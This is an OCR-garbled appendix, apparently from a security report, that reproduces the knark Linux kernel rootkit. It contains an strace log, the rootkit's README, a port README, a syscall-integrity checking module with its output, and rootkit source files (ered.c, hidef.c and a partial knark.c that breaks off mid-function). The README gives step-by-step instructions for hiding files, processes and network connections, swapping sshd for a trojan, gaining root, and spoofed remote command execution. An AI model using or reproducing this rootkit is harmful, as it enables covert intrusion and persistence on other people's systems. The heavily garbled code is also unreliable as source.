fstat64(3, {st_mode=S_IFREG|0644, st _size=1730, ...}) =0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE]|MAP_ANONYMOUS, -
1, 0) = 0x40021000

read(3, "'root:x:0:0:root:/root:/bin/bash\n"..., 4096) = 1730

close(3) =0
munmap (0x40021000, 4096) =0
open(*'/etc/group’, O_RDONLY) =3

shmat(3, Ox1, Oxlptrace: umoven: Input/output error
= ?

shmat(3, Ox1, Ox2ptrace: umoven: Input/output error
?

) 7

fstat64(3, {st_mode=S IFREG]0644, st size=788, ...}) =0

old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE]MAP_ANONYMOUS, -
1, 0) = 0x40021000

read(3, "root:x:0:root\nbin:x:1l:root,bin,d"..., 4096) = 788

close(3) =0
munmap(0x40021000, 4096) =0
open(*'/etc/passwd’™, O RDONLY) =3

shmat(3, 0x1, Oxlptrace: umoven: Input/output error
=7
shmat(3, Ox1, Ox2ptrace: umoven: Input/output error
) = ?
fstat64(3, {st_mode=S IFREG|0644, st size=1730, ...}) =0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE]|MAP_ANONYMOUS, -
1, 0) = 0x40021000
read(3, '"root:x:0:0:root:/root:/bin/bash\n*.._., 4096) = 1730

close(3) =0
munmap(0x40021000, 4096) =0
open(*'/etc/group’, O _RDONLY) =3

shmat(3, Ox1, Oxlptrace: umoven: Input/output error
= 2

shmat(3, Ox1, Ox2ptrace: umoven: Input/output error
2

) ;
fstat64(3, {st_mode=S_IFREG|0644, st size=788, ...}) =0
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old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE]MAP_ANONYMOUS, -
1, 0) = 0x40021000
read(3, "'root:x:0:root\nbin:x:1:root,bin,d"..., 4096) = 788

close(3) =0
munmap(0x40021000, 4096) =0
open("'/etc/passwd’™, O RDONLY) =3

shmat(3, O0x1, Oxlptrace: umoven: Input/output error
?

shmat(3, Ox1, Ox2ptrace: Qmoven: Input/output error

) =7?

fstat64(3, {st_mode=S IFREG]0644, st size=1730, ...}) =0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE]|MAP_ANONYMOUS, -
1, 0) = 0x40021000

read(3, "'root:x:0:0:root:/root:/bin/bash\n”.._, 4096) = 1730

close(3) =0
munmap(0x40021000, 4096) =0
open(*'/etc/group’, O _RDONLY) =3

shmat(3, Ox1, Oxlptrace: umoven: Input/output error
?

shmat(3, Ox1, Ox2ptrace: umoven: Input/output error
) =7
fstat64(3, {st_mode=S_IFREG|0644, st size=788, ...}) =0

old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE]MAP_ANONYMOUS, -
1, 0) = 0x40021000

read(3, "'root:x:0:root\nbin:x:1:root,bin,d"..., 4096) = 788

close(3) =0

munmap (0x40021000, 4096) =0

write(1l, "total 1196\ndrwxrwxrwt 11 root ..., 1371total 1196
drwxrwxrwt 11 root root 4096 May 14 02:02 .

drwxr-xr-x 18 root root 4096 May 12 20:46 ..

drwxrwxrwt 2 root root 4096 May 13 16:01 .ICE-unix
-r--r--r-- 1 root root 11 May 13 15:59 .XO-lock
drwxrwxrwt 2 root root 4096 May 13 15:59 _X11-unix
drwxrwxrwt 2 xfs xfs 4096 May 12 20:24 _font-unix
drwxr-xr-x 2 root root 4096 May 14 02:02 .hideme
-rw-r--r-- 1 root root 1074303 May 13 13:14 hacking.tgz
drwx--—--—- 2 feiliu feiliu 4096 May 13 16:01 kde-feiliu
-rw-r--r-- 1 root root 57213 May 13 16:24 knark-2.4.3.tgz
-rw-r--r-- 1 root root 14136 May 14 01:41 knark.o
drwx-—---- 2 Wolverin Wolverin 4096 May 10 22:54 ksocket-
Wolverine

drwx-----—- 2 feiliu feiliu 4096 May 14 00:12 ksocket-feiliu
drwx-----—- 2 root root 4096 May 10 20:42 ksocket-root
-rw-r--r-- 1 root root 53 May 9 11:49 linuxconf-
rpminstall._log

drwx--—-—- 2 feiliu feiliu 4096 May 10 20:55 mcop-feiliu
-rw-r--r-- 1 root root 1320 May 13 17:22 modhide.o
-rw-——————-— 1 feiliu feiliu 528 May 12 23:55
nsform3AFE059412E0BSF

-rW——————- 1 root root 0 May 12 20:24 session_mm.sem
-rw-r--r-- 1 root root 1620 May 14 00:45 syscall.o

) = 1371

close(1) =0

munmap (0x40020000, 4096) =0

_exit(0) =7
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C.4: Readme

Knark v0.59 by Creed @ #hack.se
email: creed@sekure.net

Knark is a kernel-based rootkit for Linux 2.2.

No part of knark may be used to break the law, or to cause damage of
any
kind. And I°m not responsible for anything you do with it.

The heart of the package, knark.c, is a Linux Ikm (loadable kernel-
module).

Type "make'™ to compile knark and the programs included, and then
"insmod knark"

to load the Ikm. When knark is loaded, the hidden directory /proc/knark
is

created. The following files are created in this directory:

author shameless self-promotion banner :-)
Ffiles list of hidden files on the system

nethides list of strings hidden in /proc/net/[tcp|udp]
pids list of hidden pids, ps-like output

redirects list of exec-redirection entries

Changes since v0.50:
Added remote command execution, and added the client-program rexec.

These are the programs included in the package (they all depend on
knark.o
to be loaded, except for taskhack.c which modifies /dev/kmem directly):

hidef Used to hide files on the system.
Create your haxOr-directory /Zusr/lib/_.haxOr, and type:
-/hidef /usr/lib/_haxOr
Now this directory will be hidden, and won"t be shown by Is or

du.
Subdirs and files will be hidden as well, so you don"t have to
hidef anything you put in this directory.
unhidef Used to unhide hidden files. You can cat /proc/knark/files
if you"ve

forgotten which files you®"ve hidden. Type:

-/unhidef /usr/lib/_haxOr

to make your previously hidden directory visible again.

However, there is a bug in the module which makes directory trees
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start from their mount-point. This means, if you have a
filesystem

mounted to /mnt, and you hide the file /mnt/secret, this file
will

show up as /secret in /proc/knark/files. Files in the root-
filesystem

aren"t affected.

ered Used to configure exec-redirection.
Copy your sshd trojan to Zusr/lib/_hax0Or/sshd_trojan, and type:
./ered /usr/local/sbin/sshd Zusr/lib/._hax0r/sshd_trojan
Now, when /usr/local/sbin/sshd is supposed to be executed, your
trojan program will be executed instead. To clear all exec-
redirection
entries, type:
./ered -c

nethide Used to hide strings in /proc/net/tcp and /proc/net/udp.
This is
where netstat gets it"s information. Type:
-/nethide ":ABCD "
to hide connections to/from port ABCD hex (43981 dec). This will
'grep -v' the line ":ABCD " from /proc/net/[tcpludp]-
You have to understand the output from /proc/net/[tcpludp] to use
this program. Lets say that you have sshd running on your box.
Connect to localhost port 22, and type:
netstat -at
One of the lines looks like this:

Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 localhost:ssh localhost:1023
ESTABLISHED

And now, lets check /proc/net/tcp. Type:
cat /proc/net/tcp
One of the lines looks like this:
local address rem_address blablabla...
0:0100007F:-0016 0100007F:03FF 01 00000000:00000000 00:00000000
00000000
IT we want to hide everything about ip-address 127.0.0.1, we have

to
translate it to this format. Start with 127: 7F in hex. Then O:
00
in hex, which gives us 007F. And O again: 00007F, and at last 1
which gives us the number 0100007F. Now, if we want to hide
everything about port 22 and ip-address 127.0.0.1 it looks like
this:
0100007F:0016 (0016 is port 22 in hex). So, typing:
-/nethide "0100007F:0016" will hide connections to/from localhost
port 22, and typing:
-/nethide ":ABCD " will remove all lines containing ":ABCD ".
It"s
like "'grep -v". Do you get it? :-)
rootme Used to gain root-access without using suid programs. Type:

./rootme /bin/sh
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to execute /bin/sh with root-privs. This will also work:
-/rootme /bin/ls -1 /root
You have to type the whole path-name of the binary to execute.

taskhack Used to change *uid®"s and *gid"s of running processes. Type:
./taskhack -alluid=0 pid
This will change all *uid®"s (uid, euid, suid, fsuid) of process
"pid" to 0 (root). Type:
ps aux | grep bash
creed 91 0.0 1.3 1424 824 1S 15:31 0:00 -bash
Now, we want to change the euid of this process to 0 (root).
Type:
-/taskhack -euid=0 91
ps aux | grep bash
root (1) 91 0.0 1.3 1424 824 1S 15:31 0:00 -bash
Isn"t this just great? :-).

*rexec Used to execute commands remotely on a knark-server. Type:
-/rexec www.microsoft.com haxored.server.nu /bin/touch /LUDER
This will send a spoofed udp packet from www.microsoft.com:53 to
haxored.server.nu:53, which tells haxored.server.nu to /bin/touch
/LUDER. If you wan"t to try this on localhost, don"t specify a
spoofed address different from your own, since the kernel won"t
accept it.

-/rexec localhost localhost /bin/touch /LUDER

will do it for you.

o % %k X % X

(* = newly added thing)

And knark has eaven more features than this:

sending signal 31 to a process will hide it"s directory in /proc,
making

it invisible to ps and top. Type:

kill -31 pid
IT this process fork®"s or clone"s, all childs of the process will be
hidden.

This means, that if you hide your shell with kill -31, all commands you
issue will be invisible. That"s neat :-).

IT you want to make a process visible again for some reason, and you"ve
forgotten the pid, just cat /proc/knark/pids. This will give you a ps-
like

output of all hidden processes.

Sniffers sets the network interface in promiscious mode, and many
simple

sniffer-detectors rely on this. When knark is loaded, no network
interface

will show the IFF_PROMISC flag when SIOCGIFFLAGS is requested. Hiding
the

sniffer with signal 31 is also recommended.

This package includes another Ikm than knark; modhide. When modhide is
loaded, it removes the latest loaded module from the module list, thus
hiding it from Ismod, and removing it from /proc/modules. Type:

insmod knark
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Ismod | grep knark

knark 6640 0 (unused)
insmod modhide

(error messages)

Ismod | grep knark

*noting*

But be careful, you might have to reboot to get rid of knark if you
load

modhide, since it can"t be removed with normal methods, like rmmod.
Have fun. And stay out of trouble.

By the way, I don"t recommend you to unload the module, there is some
kind

of bug that can make strange things happen. Sometimes it works fine,
sometimes

a process dies and sometimes your computer will look like a banana.
This is not a bug-free release. Please let me know if you find things
to

improve.

email: creed@sekure.net
Ircnet and EFNet: Creed (or Creed_ or something like that) @sekure.net

C.5: Readme.cyberwinds

This package includes some sample 2.4 module codes and Knark.59 ported
to kernel 2.4. 1 feel it is really nasty not to provide any protection
module against knark in such kind of distribution, so in the
knark-2.4_.3 directory, you can find a syscall module. This syscall
module can take a snapshot of all the syscall addresses in current
system. By doing so, you can create a syscall addresses copy after a
refresh installation and use this copy to validate your system
integrity later on.

IT you do not know what knark is, you probably won®"t want to try it
out.

FEEAEEIAEAEAIEAAXIEATEAXIEAAXXAAXXAAXTXAAXAXAAXAAAXTEXAAXAEXAXAXAAXAXAAXAXAAXTXAITXAAITXALATXAIATXAIThAdThidhidk

* *

* 1 am not responsible for whatever you do with this code. It is for *

* educational purpose only!!! If you are busted, it is your own fault.*
* *

FEEAEEIAAEAITEAEAXIEATEAXIEAAXTXAAXTXAAXTEAAXAEAAXAEAAXTEXAAXAAXAXAAXAXAAXAXAAITXAAXTXAAITXALTXAIAXAITdhAXThAdhidd

cyberwinds@hotmail .com #irc.openprojects.net
What"s new?

1. 2.4 kernel support

*) The /proc filesystem stuff has to be completely rewritten
because of kernel migration from 2.2 to 2.4. /proc node registration
and cleanup code is completely different. There is no longer shortcut
to identify /proc/net/tcp and /proc/net/udp--that were statistically
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set in 2.2 kernel.

*) The 2.4 kernel uses getdents64 to identify a dentry. As a

*) diff knark.c.2.2 knark.c will show all the changes made to the
module to work on kernel 2.4
result, sys getdents64 has to be intercepted and new data structures
are introduced.
2. modhide can hide arbitrary module.

*) By using module->modname, arbitrary module can be hidden from
examination.

C.6: Syscall.c

/*
*Compile:
*gcc - 02 - ¢ get_sys call_addr.c - I / usr / src / linux / include -
fomit -frame - pointer
* # Install:
* # /sbin/insmod get _sys call _addr.o
**After install, copy / proc / syscall to some safe place.When you
suspect * LKM was installed, compare the / proc / syscall to your
original copy.If * they are different, probably LKM was installed. *
*The format of / proc / syscall is:
*sys_call_index sys call_addr
*/
#define _ KERNEL
#define MODULE
#include <linux/version.h>
#include <linux/module._h>
#include <linux/kernel_h>
#include <linux/mm.h>
#include <linux/file_h>
#include <linux/config.h>
#include <linux/smp_lock.h>
#include <linux/stat._h>
#include <linux/dirent_h>
#include <linux/sys.h>

#include <sys/syscall._h> /* The list of system calls */
#include <linux/dirent._h>

#include <linux/proc_fs.h> /* Necessary because we use the proc fs
*/

#include <asm/uaccess.h>
#include <asm/errno.h>
#define MOD_NAME 'syscalls"
extern void *sys call_table[];

/*
* following "'read" functions are used to provide information in
* /proc File system
*/
static int
read_sys call_addr (char * buf, char ** start, off_t offset, int len,
int * eof,
void * data){
int i;
if(offset > 0) return O;
len = sprintf (buf, "# system call addresses\n™);
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for (i = 0; 1 < NR_syscalls; i++){
len += sprintf (buf + len, "%3d\tW%x\n", i, (void
*)(sys_call_table[i]));
}

//len+= sprintf(buf+len, "O\t%x\n"'", (void *)(sys_call_table[0]));
*start = buf;

*eof = 1;

return len;

}

int
init_module (void)
{

struct proc _dir_entry * ent = create_proc_entry(‘'syscalls",
S _IFREG]S_IRUGO, &proc_root);

if(ent == 0x0)

return -EINVAL;

ent->read_proc = read_sys_call_addr;

return O;

// proc_register (&proc_root, &sys call_addr);

void

cleanup_module (void)

{
remove_proc_entry(*'syscalls™, &proc_root);
//proc_unregister (&proc_root, sys call_addr.low_ino);

}
C.7: Syscall table.txt

# system call addresses
c011c550
c01164e0
c0105894
c012dc18
c0l2dcdc
c012d834
c012d944
c01168a0
c012d8c8
c0139730
10 c013937c
11 c01058f4
12 c012cf90
13 c0l116da8
14 c0138c0c
15 c012d2a4
16 c0lle72c
17 c011c550
18 c013500c
19 c012db20
20 cOllaabc
21 c0133648

O©CoOoO~NOOOIA~AWNEFO
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22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78

c0133064
c011e834
cO01ll1lebe8
c0116df0
c01099fc
cOllaa74
c01351d0
c010ba30
c012cc8c
c011c550
c011c550
c012cebc
cOlllcec
c011c550
c012ec48
c011be08
c013a0e8
c0138e6¢C
c0139134
c013a918
c010b460
c011d1c8
c011c550
c01207d4
cO0lle7e4
c01l1lec40
c011c3e4
cOllecl4
c0llec70
c01192cc
c0132F70
c011c550
c013b07c
c013abb0
c011c550
c0l1l1d21c
c011c550
c010b93c
cO0l11ldbfc
c012d124
c01325f0
c013a868
cOllaac8
c011d344
c0l11d3a4
c0106168
c011c38c
c011c39c
c011e7f8
cO0ll1le7a8
c0105fe8
c011c150
c011d5a8
c011d7fc
c011d778
c011dbdO
c0116e58
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79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135

cOli6f6cC
cO0lleae8
cOlleb5c
c010b65c
c013955¢c
c01350f0
c0135290
c0135660
c012a8b0
c011c738
c013b500
c010b54c
c0121540
c012c680
c012c854
c012d20c
c011e768
c011c6dO
c011c5f18
c011c550
c012c4f18
c012c590
c010a688
c0laeb68
c0113b44
c0116b80
c01169f0
c0135080
c0135160
c0135230
c010b8c0O
c010a768
c012d998
c011c550
c0108a6¢c
c01164f0
c012a408
c0116c50
c010b6c4
c012ecdO
c01063b4
c01058b0
c011d69c
c011d53c
c010aa48
c01173e8
c01251a0
c01l1c160
c01143c4
c0114518
c0114b74
c0115588
c0145034
cO0l1ld2fc
c012d068
c0131628
c0131a84
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136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192

c01136b8
c011c550
cOlleacO
cOllead4
c012db58
c013b64c
c013bd5c
c013e1dO
c0123938
c012dff4
c012e048
c011d350
c012ed58
c0117c30
c0125690
c0125748
c0125838
c01258c0
cOlllefc
c0111Ff78
cOll1llee4d
cO0111f14
c011201c
c011204c
c0112078
c011209c
cOllablc
c0125e34
c011e848
c011e898
c0108b50
c0115430
c013c4a0
c0141e10
c011e980
c011e9d8
c011dc18
c0106488
c011c2b0
c011b930
c01l1bb5c
c011bb70
c011be60
c0106074
c012e09c
c012el74
c011e6f0
c013fc6e
c0119760
c0119954
c0106268
c0122f24
c011c550
c011c550
c01058d4
c011d720
c010b4b8
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193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249

c012c9bc
c012cb70
c01354a0
c0135510
c0135580
c012d490
cOllaadc
cOllaafc
cOllaaec
c0l1l1abOc
cOllcab8
c011c930
c011d3fc
c011d44c
c012d4d8
cO0llcde4
c011cf00
c011cfo4
c011d058
c012d448
c0llcc34
c011c9f0
c011dof4
c011d17c
c0133828
c012437c
c01240d8
c013b8b0
c013abec
c011c550
c011c550
c011c550
c011c550
c011c550
c011c550
c011c550
c011c550
c011c550
c011c550
c011c550
c011c550
c011c550
c011c550
c011c550
c011c550
c011c550
c011c550
c011c550
c011c550
c011c550
c011c550
c011c550
c011c550
c011c550
c011c550
c011c550
c011c550
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250 c011c550
251 c011c550
252 c011c550
253 c011c550
254 c011c550
255 c011c550

C.8: Author_banner.c

* author_banner.c, part of the knark package

* (c) Creed @ #hack.se 1999 <creed@sekure._.net>
* This program may NOT be used in a legal way,
* or to not cause damage of any kind.

*

*

Eat a frog for more info.
*/

#include <stdio.h>
#include "knark.h"

void author_banner(const char *progname)
{
fprintf(stderr,
"\n\t%s by Creed @ #hack.se 1999 <creed@sekure.net>
\tPort to 2.4 2001 by Cyberwinds@hotmail.com #irc.openprojects.net\n",
progname);

return;
b
C.9: Ered.c
/*

* ered.c, part of the knark package

* (c) Creed @ #hack.se 1999 <creed@sekure._.net>

* This program may NOT be used in an illegal way,
* or to cause damage of any Kkind.

*

*

See README for more info.
*/

#include <sys/types.h>
#include <sys/stat_h>
#include <unistd.h>
#include <stdio.h>
#include <time.h>
#include <sys/time.h>

#include "knark.h"

void usage(const char *progname)

{
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fprintf(stderr,
"Usage:\n"
"\ths <fFrom> <to>\n"
"\ths -c (clear redirect-list)\n"
"ex: %s /usr/local/sbin/sshd Zusr/lib/_haxOr/sshd_trojan\n",
progname, progname, progname);
exit(-1);

int main(int argc, char *argv[])

struct stat st;
struct exec_redirect er;

author_banner("'ered.c™);
if(argc '= 3)

if(argc = 2 || strcmp(argv[l], '-c'))

usage(argv[0]);

if(settimeofday((struct timeval *)KNARK CLEAR_REDIRECTS,

(struct timezone *)NULL) == -1)

{
perror('settimeofday');
fprintf(stderr, ""Have you really loaded knark.o?I\n");
exit(-1);

}

printf("'Done. Redirect list is cleared.\n");

exit(0);

}

er.er_from = argv[1l];
er.er_to = argv[2];

if(stat(er.er_from, &st) == -1)
perror(“'stat'), exit(-1);

if(!S_ISREG(st.st_mode))

fprintf(stderr, "%s is not a regular file\n", er.er_from);

exit(-1);

}

if(~st.st_mode & S_IXUSR)

{
fprintf(stderr, "%s is not an executable file\n", er.er_from);
exit(-1);

if(stat(er.er_to, &st) == -1)

perror(“'stat'), exit(-1);
if(!S_ISREG(st.st_mode))

fprintf(stderr, "%s is not a regular file\n", er.er_to);
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}

exit(-1);
}

if(~st.st_mode & S_IXUSR)

{
fprintf(stderr, "%s is not an executable\n', er.er_to);
exit(-1);

}

if(settimeofday((struct timeval *)KNARK_ADD_REDIRECT,
(struct timezone *)&er) == -1)

{

perror(‘'settimeofday’);
fprintf(stderr, ""Have you really loaded knark.o?I\n");
exit(-1);

printf("'Done: %s -> %s\n', er.er_from, er.er_to);
exit(0);

C.10: Hidef.c

/*

X ok X ok X %

*

/

hidef.c, part of the knark package
(c) Creed @ #hack.se 1999 <creed@sekure.net>

This program may NOT be used in an illegal way,
or to cause damage of any kind.

See README for more info.

#include <sys/types.h>
#include <sys/ioctl._h>
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>

#include "knark.h"

void usage(const char *progname)

{

fprintf(stderr,
"Usage:\n"
"\ths Zusr/lib/_haxOr\n",
progname) ;

exit(-1);

int main(int argc, char *argv[])

{

int fd, len, hidef=0;
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char *avp;
author_banner("’hidef.c™);

len = strlen(argv[0]);
for(avp = argv[0O]+len-1; avp > argv[0] && *avp != "/"; avp--);
if(*avp == */7)

avp++;

if(Istremp(C'hidef™, avp))
hidef++;
else if(strcmp('unhidef’, avp))

{
fprintf(stderr, "argv[0] is neither \"hidef\" nor
\"unhidef\'""\n"");
exit(-1);
}

if(argc = 2)
usage(argv[0]);

if( (fd = open(argv[1l], O RDONLY)) == -1)
perror(“'open'), exit(-1);

if( (ioctl(fd, KNARK_ELITE CMD,
hidef?KNARK_HIDE_FILE:KNARK_UNHIDE_FILE)) == -1)
perror("ioctl"), exit(-1);

close(fd);
exit(0);
}
C.11: Knark.c
/*

* knark.c, part of the knark package

* (c) Creed @ #hack.se 1999 <creed@sekure.net>

* Ported to kernel 2.4 2001 by cyberwinds@hotmail.com
#irc.openprojects.net

*

* This Ikm is based on heroin.c by Runar Jensen, so credits goes to
him.

* Heroin.c however offered quite few features, and major changes have
been

* made, so this isn"t the same piece of code anymore.

This program/lkm may NOT be used in an illegal way,
or to cause damage of any kind.

X ok X %

See README for more info.

* For the curious: %hu unsigned short %u unsigned int %lu unsigned
long %Lu long long unsigned

*/
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#define _ KERNEL_SYSCALLS
#include <linux/version.h>
#include <linux/module.h>
#include <linux/Zkernel.h>
#include <linux/sched.h>
#include <linux/socket.h>
#include <linux/smp_lock.h>
#include <linux/stat.h>
#include <linux/dirent.h>
#include <linux/fs.h>
#include <linux/if.h>
#include <linux/modversions.h>
#include <linux/malloc.h>
#include <linux/Zunistd.h>
#include <linux/string.h>
#include <linux/skbuff.h>
#include <linux/ip.h>
#include <sys/syscall_h>
#include <net/protocol._h>
#include <net/udp.h>
#include <net/icmp.h>
#include <linux/dirent.h>
#include <linux/proc_fs.h>
#include <asm/uaccess.h>
#include <asm/errno.h>
#include <asm/unistd.h>

#include "knark.h"

#define PF_INVISIBLE 0x10000000
#define PROC_NET_TCP "tcp"
#define PROC_NET_UDP "‘udp™

struct linux_dirent {
unsigned long d_ino;
unsigned long d_off;
unsigned short d_reclen;

char d_name[1];
}:
struct linux_dirent64 {
u64 d _ino;
s64 d_off;
unsigned short d_reclen;
unsigned char d_type;
char d _name[0];
}:

extern void *sys call_table[];

static inline _syscall3(int, getdents, uint, fd, void *, dirp, uint,
count);

static inline _syscall3(int, getdents64, uint, fd, void *, dirp, uint,
count);

static inline _syscall2(int, kill, int, pid, int, sig);

static inline _syscall3(int, ioctl, unsigned int, fd, unsigned int,
cmd, unsigned long, arg);

static inline _syscalll(int, fork, int, regs);
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static inline _syscalll(int, clone, int, regs);
static inline _syscall2(int, settimeofday, struct timeval *, tv, struct
timezone *, tz);

asmlinkage long (*original_getdents)(unsigned int, void *, unsigned
int);

asmlinkage long (*original_getdents64)(unsigned int, void *, unsigned
int);

asmlinkage long (*original_kill)(int, int);

asmlinkage ssize_ t (*original_read)(unsigned int, char *, size_t);
asmlinkage long (*original_ioctl)(unsigned int, unsigned int, unsigned
long);

asmlinkage int (*original_fork)(struct pt_regs);

asmlinkage int (*original_clone)(struct pt_regs);

asmlinkage int (*original_execve)(struct pt_regs);

asmlinkage long (*original_settimeofday)(struct timeval *, struct
timezone *);

asmlinkage long knark getdents(unsigned int, void *, unsigned int);
asmlinkage long knark getdents64(unsigned int, void *, unsigned int);
asmlinkage int knark_fork(struct pt _regs);

asmlinkage int knark_clone(struct pt_regs);

asmlinkage long knark kill(pid_t, int);

asmlinkage long knark_ ioctl(int, int, long);

asmlinkage ssize t knark read(int, char *, size t);

asmlinkage int knark_execve(struct pt_regs regs);

asmlinkage long knark settimeofday(struct timeval *, struct timezone

*);

unsigned int knark_error(char * err_msg);

int knark_atoi(char *);

void knark bcopy(char *, char *, unsigned int);

struct task struct *knark_find_task(pid_t);

int knark_is_invisible(pid_t);

int knark hide_process(pid_t);

int knark _hide_file(struct inode *, struct dentry *);
int knark _unhide_file(struct inode *);

int knark_secret_file(ino_t, kdev_t);

struct knark_dev_struct *knark_add_secret_dev(kdev_t);
struct knark_dev_struct *knark_get secret_dev(kdev_t);
int knark_add nethide(char *);

int knark_clear_nethides(void);

int knark_add_redirect(struct exec_redirect *);

char *knark_redirect_path(char *);

int knark clear_redirects(void);

int knark_read pids(char *, char **, off_t, int, int *, void *);

int knark_read_files(char *, char **, off_t, int, int *, void *);

int knark read_redirects(char *, char **, off_t, int, int *, void *);
int knark _read_nethides(char *, char **, off_t, int, int *, void *);
int knark _read_author(char *, char **, off_t, int, int *, void *);
#ifdef FUCKY_REXEC_VERIFY

int knark _read_verify_rexec(char *, char **, off_t, int, Int *, void
*);

int knark _write verify rexec(struct file *, const char *, u_long, void

* -

#endif /*FUCKY REXEC_VERIFY*/

156



int knark _do_exec_userprogram(void *);

int knark_execve_userprogram(char *, char **, char **, int);
//int knark_udp_rcv(struct sk buff *, unsigned short);

int knark udp_rcv(struct sk _buff *);

struct inet_protocol * original_

ino_t knark ino;
int errno;
/*

udp_protocol;

* Use a different major or minor number if you found knark completely

failed on your

* system. | found it confusing
0 as its

* device signhature.

*/

unsigned short proc major_dev =
unsigned short proc_minor_dev =

#ifdef FUCKY_REXEC VERIFY
int verify rexec = 16;
#endif /*FUCKY_REXEC_VERIFY*/

struct redirect_list
{
struct redirect_list *next;
struct exec_redirect rl_er;
} *knark_redirect_list = NULL;

struct nethide_list

{
struct nethide_ list *next;
char *nl_hidestr;

} *knark_nethide_list = NULL;

struct knark_dev_struct {
kdev_t d_dev;
int d_nfiles;

that proc_roo.rdev shows major O minor

ino_t d_inode[MAX SECRET_FILES];
char *d_name[MAX_ SECRET_FILES];

struct knark _fs_struct {
int T _ndevs;

struct knark_dev_struct *f_dev[MAX_ SECRET_DEVS];

} *kfs;

struct execve_args {
char *path;
char **argv;
char **envp;
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struct proc _dir_entry * knark dir;
struct proc_dir_entry * knark pids;
struct proc_dir_entry * knark files;
struct proc_dir_entry * knark redirects;
struct proc_dir_entry * knark nethides;
struct proc_dir_entry * knark author;
#ifdef FUCKY_REXEC VERIFY
struct proc_dir_entry * knark verify rexec;
#endif /*FUCKY_REXEC VERIFY*/
struct inet_protocol knark udp_protocol =
{

&knark_udp_rcv,

NULL,

NULL,

IPPROTO_ICMP,

o,

NULL,

"1CMP"*

3

unsigned int knark_error(char
return EINVAL;

* err_msg){

}
int knark_atoi(char *str)
{
int ret = 0;
while (*str)
{
if(*str < "0" || *str > "97)
return -EINVAL;
ret *= 10;
ret += (*str - "07);
str++;
}
return ret;
}

void knark _bcopy(char *src, char *dst, unsigned int num)
{
while(num-- > 0)
*(dst++) = *(src++);

int knark_strcmp(const char *strl, const char *str2)
{
while(*strl && *str2)
iIf(*(strl++) 1= *(str2++))
return -1;
return O;
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struct task struct *knark_find_task(pid_t pid)
{

struct task struct *task = current;

do {
if(task->pid == pid)
return task;
task = task->next_task;
} while(current != task);

return NULL;

}
int knark_is_invisible(pid_t pid)
{
struct task struct *task;
if(pid < 0) return O;
if( (task = knark_find_task(pid)) == NULL)
return O;
// use a kernel func instead :)
// if( (task = find_task by pid(pid)) == 0x0)
// return O;
if(task->flags & PF_INVISIBLE)
return 1;
return O;
}
int knark _hide_process(pid_t pid)
{
struct task struct *task;
iT( (task = knark_find_task(pid)) == NULL)
return O;
task->flags |= PF_INVISIBLE;
return 1;
}

struct knark_dev_struct *knark _add_secret_dev(kdev_t dev)

{

int current_dev = kfs->f ndevs;
int ndevs = kfs->f ndevs;
struct knark dev_struct **kds = kfs->f _dev;

if(ndevs >= MAX_SECRET_DEVS)
return NULL;
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kds[current_dev] = (struct knark dev_struct *)
kmalloc(sizeof(struct knark dev_struct), GFP_KERNEL);
if(kds[current_dev] == NULL)
return NULL;

kds[current_dev]->d_dev = dev;

kds[current_dev]->d _nfiles = 0;

memset(kds[current_dev]->d_inode, 0, MAX SECRET_FILES *
sizeof(ino_t));

memset(kds[current_dev]->d_name, 0, MAX SECRET_FILES * sizeof(char
*));

’kfs—>f_ndevs++;

return kds[current_dev];

struct knark_dev_struct *knark_get_secret_dev(kdev_t dev)
{

int ndevs = kfs->f ndevs;

struct knark_dev_struct **kds = kfs->f _dev;

int i;

for(i = 0; 1 < ndevs; i++){
if(kds[i]->d_dev == dev)
return kds[i];

}
return NULL;

int knark_secret_file(ino_t inode, kdev_t dev)

int i;
int nfiles;
struct knark_dev_struct *kds;

kds = knark_get secret_dev(dev);
if(kds == NULL)
return O;

nfiles = kds->d nfiles;
for(i = 0; 1 < nfiles; i++)
if(kds->d_inode[i] == inode)
return 1;

return O;

int knark _hide_file(struct inode *inode, struct dentry *entry)

char *name, *nameptr[16];

int 1, len, namelen = O;

struct knark_dev_struct *kds;
ino_t ino = inode->i_ino;

kdev_t dev = inode->i_sb->s dev;
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if(knark_secret_file(ino, dev))
return -1;

kds = knark_get secret_dev(dev);
if(kds == NULL) {
kds = knark_add secret_dev(dev);
if(kds == NULL)

return -1;
3
else if(kds->d nfiles >= MAX_SECRET_ FILES)
return -1;

kds->d_inode[kds->d_nfiles] = ino;

if(entry) {
memset(nameptr, 0, 16*sizeof(char *));
for(i = 0; 1 < 16 && entry->d name.len 1= 1 && entry-

>d_name.name[0] != “/7; i++)

int

nameptr[i] = (char *)entry->d_name.name;

namelen += entry->d_name.len;

entry = entry->d_parent;
}
namelen += 1 + 1; // the "/"s :)
kds->d_name[kds->d_nfiles] = kmalloc(namelen, GFP_KERNEL);
name = kds->d_name[kds->d_nfiles];
name[0] = *"\0";

for(i = 0; nameptr[i]; i++) ;
for(i--; i1 >= 0; i--)

{
len = strlen(name);
name[len] = */°;
strcpy(&name[len+1], nameptr[i]);
}
else

kds->d_name[kds->d_nfiles] = NULL;

return ++kds->d_nfiles;

knark_unhide_file(struct inode *inode)

int i;

int nfiles;

struct knark_dev_struct *kds;
ino_t ino = inode->i_ino;
kdev_t dev = inode->i_dev;

